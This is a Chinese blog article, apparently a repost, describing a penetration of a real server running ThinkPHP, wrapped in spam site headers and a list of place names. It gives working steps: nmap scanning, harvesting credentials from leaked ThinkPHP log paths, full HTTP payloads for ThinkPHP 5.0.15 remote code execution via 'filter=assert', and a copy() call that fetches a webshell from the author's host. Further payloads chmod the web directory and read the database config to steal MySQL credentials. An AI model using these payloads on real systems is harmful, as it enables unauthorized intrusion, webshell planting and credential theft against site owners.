中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

ThinkPHP框架的滲透方法是什么

發布時間:2023-03-16 15:10:42 來源:億速云 閱讀:149 作者:iii 欄目:編程語言

這篇文章主要講解了“ThinkPHP框架的滲透方法是什么”,文中的講解內容簡單清晰,易于學習與理解,下面請大家跟著小編的思路慢慢深入,一起來研究和學習“ThinkPHP框架的滲透方法是什么”吧!

信息收集

找到一個網站 http://x.x.x.x/ 下面開始對他進行滲透

首先使用nmap對受害服務器開放的端口掃描探測端口

ThinkPHP框架的滲透方法是什么

可以看到開放的端口如下
ThinkPHP框架的滲透方法是什么

端口就是應用程序在計算機通信中的唯一識別id,通過端口我們就能知道受害服務器開放了什么服務

如3306是mysql并開啟了外聯,接下來我們對端口訪問看看具體開放了什么服務

8080開放了phpmyadmin一款php連接mysql工具我們可以利用他爆破mysql密碼

ThinkPHP框架的滲透方法是什么

8082是一個貸款首頁

隨便輸入一個不存在的路由然后查看錯誤信息如http://x.x.x.x/gfvhf

ThinkPHP框架的滲透方法是什么

成功報錯:thinkphp框架的版本是5.1.7(這個版本有注入漏洞)

ThinkPHP框架的滲透方法是什么

8084是一個后臺繼續收集

ThinkPHP框架的滲透方法是什么

8092是一個后臺,因為部署不規范存在thinkphp日志泄露,路徑 http://x.x.x.x:8092/runtime/log/202112/19.log 可以到里面查看到管理員登錄過的賬號密碼。

這里說一下黑產使用thinkphp框架因為運維半吊子很有可能有thinkphp日志泄露

tp5-6 payload: 域名/runtime/log/202112/19.log (后面的202112/19.log是根據當前日期變化的)

tp3 payload: 域名 /Application/Runtime/Logs/Home/21_12_19.log (后面的21_12_19.log是根據當前日期變化的)8083端口使用的thinkphp版本是5.0.15,5.0.15版本的利用條件低挑軟柿子捏就這個吧

ThinkPHP框架的滲透方法是什么

信息收集完畢精準打擊

打開burp,然后使用抓包,然后將數據包轉發到burp的Repeater模塊下,將抓包內容替換成如下內容

漏洞原理就不做詳細講解了,沒個php架構層是聽不懂的。簡單描述一下就是一個變量覆蓋造成代碼執行

下面數據包內容是觸發漏洞讓服務器執行phpinfo()

POST /index.php?s=captcha&echod=phpinfo() HTTP/1.1
Host: x.x.x.x
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.57
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: pmaCookieVer=5; pma_lang=zh_CN; pma_collation_connection=utf8_unicode_ci; phpMyAdmin=iar4j14536rat57j1d5018qjtt8vj69g
Content-Type:application/x-www-form-urlencoded
Content-Length: 77

_method=__construct&filter=assert&method=get&server[REQUEST_METHOD]=echod

執行成功,可以看到php的一些詳細信息

ThinkPHP框架的滲透方法是什么

下面開始寫入shell將請求頭替換成:

POST /index.php s=captcha&echod=copy('http://x.x.x.x/2.txt','t2.php') HTTP/1.1

意思是將我服務器上遠程的shell文件http://x.x.x.x/2.txt下載,寫入到當前web目錄下的t2.php

但我訪問t2.php,出現404猜測應該是當前目錄沒有寫權限

于是嘗試給寫權限:

POST /index.php?s=captcha&echod=chmod('./',0777) HTTP/1.1

發現還是寫不了shell,php權限很低。

將chmod('./',0777) 替換成readfile('../application/database.php')讀取數據庫配置文件。發現成功獲取到mysql賬號密碼。

ThinkPHP框架的滲透方法是什么

使用我們之前發現的phpmyadmin服務登錄然后mysql開啟外聯

使用mysql管理工具連接,發現一堆數據庫。并且mysql直接是root權限,可以對服務器進行提權(內網橫向滲透)等。反正外網以經開了一個口子,這里我就不深入了。

ThinkPHP框架的滲透方法是什么

感謝各位的閱讀,以上就是“ThinkPHP框架的滲透方法是什么”的內容了,經過本文的學習后,相信大家對ThinkPHP框架的滲透方法是什么這一問題有了更深刻的體會,具體使用情況還需要大家實踐驗證。這里是億速云,小編將為大家推送更多相關知識點的文章,歡迎關注!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

屏山县| 信阳市| 鄂州市| 玛纳斯县| 达拉特旗| 华安县| 农安县| 临朐县| 赤城县| 柯坪县| 武宁县| 道孚县| 太和县| 清苑县| 略阳县| 东明县| 平度市| 锡林浩特市| 重庆市| 铁岭县| 进贤县| 林周县| 朔州市| 西峡县| 理塘县| 图片| 扎赉特旗| 抚州市| 永兴县| 婺源县| 南华县| 志丹县| 新邵县| 云龙县| 盐津县| 太白县| 贡觉县| 九江县| 阿图什市| 玛曲县| 阿拉善右旗|